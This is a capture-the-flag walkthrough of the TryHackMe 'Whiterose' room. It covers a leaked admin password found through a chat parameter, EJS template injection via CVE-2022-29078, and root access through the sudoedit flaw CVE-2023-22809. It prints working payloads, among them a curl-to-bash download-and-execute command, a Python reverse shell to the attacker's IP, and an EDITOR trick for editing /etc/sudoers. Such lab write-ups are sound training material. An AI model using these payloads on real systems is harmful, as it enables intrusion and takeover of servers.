TryHackMe: Whiterose
Whiterose started with discovering a virtual host and logging in with the credentials provided in the room. After logging in, we accessed a chat and, by modifying a parameter to view old messages, we found a message containing credentials for an admin user. After switching to this admin user, we gained access to a settings page that was vulnerable to Server-Side Template Injection (SSTI), as user-supplied input was directly passed to the render
function for ejs
. Exploiting this, we managed to obtain a shell. After acquiring a shell, we used a vulnerability in sudoedit
to escalate our privileges to the root
user.
Initial Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.116.77
Nmap scan report for 10.10.116.77
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
| 256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_ 256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two ports open.
- 22 (
SSH
) - 80 (
HTTP
)
Web 80
Visiting http://10.10.116.77/
redirects us to http://cyprusbank.thm/
, so let’s add it to our hosts file:
1
10.10.116.77 cyprusbank.thm
Afterward, visiting http://cyprusbank.thm/
displays only a maintenance message.
Vhost Enumeration
Since there’s nothing interesting and no additional files found through directory fuzzing, let’s look for vhosts (virtual hosts).
1
2
3
4
$ ffuf -u 'http://cyprusbank.thm/' -H "Host: FUZZ.cyprusbank.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -t 100 -ic -fw 1
...
www [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 110ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 444ms]
We find two: admin
and www
. Let’s add them to our hosts file:
1
10.10.116.77 cyprusbank.thm www.cyprusbank.thm admin.cyprusbank.thm
Visiting http://www.cyprusbank.thm/
, we find it appears identical to http://cyprusbank.thm/
.
Visiting http://admin.cyprusbank.thm/
, we are redirected to http://admin.cyprusbank.thm/login
, where a login page is displayed.
Shell as Web
Access as Gayle Bev
We are unable to access any of the functionality in the top bar. However, the credentials Olivia Cortez:olivi8
provided in the room work for login.
After logging in with these credentials, we are greeted with a page displaying transactions and accounts. Unfortunately, we cannot view the customers’ phone numbers.
While logged in, we also gain access to other pages in the top bar.
Visiting http://admin.cyprusbank.thm/search
allows us to search for customers by name.
Checking http://admin.cyprusbank.thm/settings
, we see that we are not authorized to access this page.
Finally, checking Messages
redirects us to http://admin.cyprusbank.thm/messages/?c=5
, where we can view a chat.
While there are no important messages in the chat, the c
parameter in the URL is interesting.
When we send a new message in the chat, the oldest message disappears, maintaining a display of five messages.
It might be that the c
parameter is used for the count of messages displayed.
Testing this theory by making a request to http://admin.cyprusbank.thm/messages/?c=10
, we confirm this is the case, as we can see the old messages, one of which includes the password for the Gayle Bev
user.
EJS SSTI
After logging out as Olivia Cortez
and logging in as Gayle Bev
with the discovered password, we can now see the phone numbers for clients.
We also gain access to the Settings page at http://admin.cyprusbank.thm/settings
.
Testing the form, it appears to allow us to change the passwords for customers and displays the new password.
Testing the name
and password
parameters for vulnerabilities like SQL or SSTI, we do not find anything. So, let’s fuzz for any other parameters the /settings
endpoint might accept.
Using ffuf for this, we discover a couple of interesting parameters:
1
2
3
4
5
6
7
8
$ ffuf -u 'http://admin.cyprusbank.thm/settings' -X POST -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: connect.sid=s%3AMwjzKA3EcBUXIsqGNDDaHARGh5B7JYwk.jwhk7KbGBNbC46HXtU8Ln%2BqMzdigbh1ZTMDnal6RC24' -mc all -d 'name=test&password=test&FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 100 -fs 2098
...
include [Status: 500, Size: 1388, Words: 80, Lines: 11, Duration: 123ms]
password [Status: 200, Size: 2103, Words: 427, Lines: 59, Duration: 473ms]
error [Status: 200, Size: 1467, Words: 281, Lines: 49, Duration: 119ms]
message [Status: 200, Size: 2159, Words: 444, Lines: 61, Duration: 151ms]
client [Status: 500, Size: 1399, Words: 80, Lines: 11, Duration: 157ms]
async [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 159ms]
While the error
and message
parameters simply cause the server to include their values in the response, the include
, client
, and async
parameters are more interesting.
When the include
and client
parameters are present, the server returns a 500 response with an error like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TypeError: /home/web/app/views/settings.ejs:4
2| <html lang="en">
3| <head>
>> 4| <%- include("../components/head"); %>
5| <title>Cyprus National Bank</title>
6| </head>
7| <body>
include is not a function
at eval ("/home/web/app/views/settings.ejs":12:17)
at settings (/home/web/app/node_modules/ejs/lib/ejs.js:692:17)
at tryHandleCache (/home/web/app/node_modules/ejs/lib/ejs.js:272:36)
at View.exports.renderFile [as engine] (/home/web/app/node_modules/ejs/lib/ejs.js:489:10)
at View.render (/home/web/app/node_modules/express/lib/view.js:135:8)
at tryRender (/home/web/app/node_modules/express/lib/application.js:657:10)
at Function.render (/home/web/app/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/web/app/node_modules/express/lib/response.js:1039:7)
at /home/web/app/routes/settings.js:27:7
at runMicrotasks (<anonymous>)
And when we use the async
parameter, we simply receive {}
in the response.
From the error, we learn that the application uses EJS as a template engine. If the application directly passes our request body to the render
function as the data
argument, this could lead to an SSTI vulnerability. This is because EJS allows certain options, such as client
and async
, to be included in the same argument as the data. Notably, the fact that the client
option causes an error and using the async
option results in the server responding with only {}
suggests that this might be the case here.
We can try to confirm this by using the delimiter
option, which is also one of the options allowed to be passed along with data. By default, it is set to %
. If we change it to a string that does not exist in the template, we should be able to leak the template.
Testing our theory, we find that we are correct, as we successfully leak the template.
As I mentioned before, there are only a limited number of options allowed to be passed along with data. However, this is where the CVE-2022-29078
vulnerability comes into play. By using the settings['view options']
parameter, we are able to pass any option without limitation.
And there are certain options, like outputFunctionName
, that are used by EJS without any filtration to build the template body, allowing us to inject code it.
You can find more information about the vulnerability and the PoC here in this article.
Testing the PoC payload from the article, we find that it works, as we receive a request on our server.
1
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl 10.11.72.22');s
1
2
3
10.10.116.77 - - [31/Oct/2024 05:03:44] "GET / HTTP/1.1" 200 -
10.10.116.77 - - [31/Oct/2024 05:03:44] "GET / HTTP/1.1" 200 -
10.10.116.77 - - [31/Oct/2024 05:03:45] "GET / HTTP/1.1" 200 -
Now, we can use it to obtain a shell, first by using our web server to serve a reverse shell payload.
1
2
3
4
5
$ cat index.html
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.72.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
After that, we can modify our payload to make the server download and run our reverse shell payload.
1
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl 10.11.72.22|bash');s
Sending our payload, we can see that the server hangs, and we receive a shell as the web
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.116.77] 49286
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
web@cyprusbank:~/app$ export TERM=xterm
export TERM=xterm
web@cyprusbank:~/app$ ^Z
zsh: suspended nc -lvnp 443
$ stty raw -echo; fg
[1] + continued nc -lvnp 443
web@cyprusbank:~/app$
After stabilizing our shell, we can read the user flag at /home/web/user.txt
.
1
2
web@cyprusbank:~/app$ wc -c /home/web/user.txt
35 /home/web/user.txt
Shell as root
CVE-2023-22809
Checking the sudo
privileges for the web
user, we can see that the user is able to run sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
as the root
user.
1
2
3
4
5
6
7
web@cyprusbank:~/app$ sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
Checking the version of sudo
, we see it is 1.9.12p1
.
1
2
3
4
5
6
web@cyprusbank:~/app$ sudoedit --version
Sudo version 1.9.12p1
Sudoers policy plugin version 1.9.12p1
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.12p1
Sudoers audit plugin version 1.9.12p1
Looking for vulnerabilities in the sudoedit
version 1.9.12p1
, we find the CVE-2023-22809
vulnerability. You can find detailed information about it in this security advisory from Synacktiv.
Essentially, sudoedit
allows users to choose their editor using environment variables such as SUDO_EDITOR
, VISUAL
, or EDITOR
. Since the values of these variables can be not only the editor itself but also the arguments to pass to the chosen editor, sudo
uses --
while parsing them to separate the editor and its arguments from the files to open for editing.
This means that by using the --
argument in the editor environment variables, we can force it to open files other than those allowed in the sudoedit
command we can run. Consequently, since we can execute sudoedit
as root
with sudo
, we can edit any file we want as root
.
To use this vulnerability for privilege escalation, there are many files we could write to. In this case, we can simply choose to write to the /etc/sudoers
file to grant ourselves full sudo
privileges.
We can exploit the vulnerability as follows:
1
2
web@cyprusbank:~/app$ export EDITOR="nano -- /etc/sudoers"
web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
As we can see, we were able to open the /etc/sudoers
file with nano
.
Now, by making the addition of web ALL=(ALL) NOPASSWD: ALL
to the file, we can grant our current user full sudo
privileges.
After saving the file and closing both files, we can see the changes made to our sudo
privileges.
1
2
3
4
5
6
7
8
web@cyprusbank:~/app$ sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
(ALL) NOPASSWD: ALL
Finally, by simply running sudo su -
, we can get a shell as the root
user and read the root flag at /root/root.txt
.
1
2
3
4
5
web@cyprusbank:~/app$ sudo su -
root@cyprusbank:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cyprusbank:~# wc -c /root/root.txt
21 /root/root.txt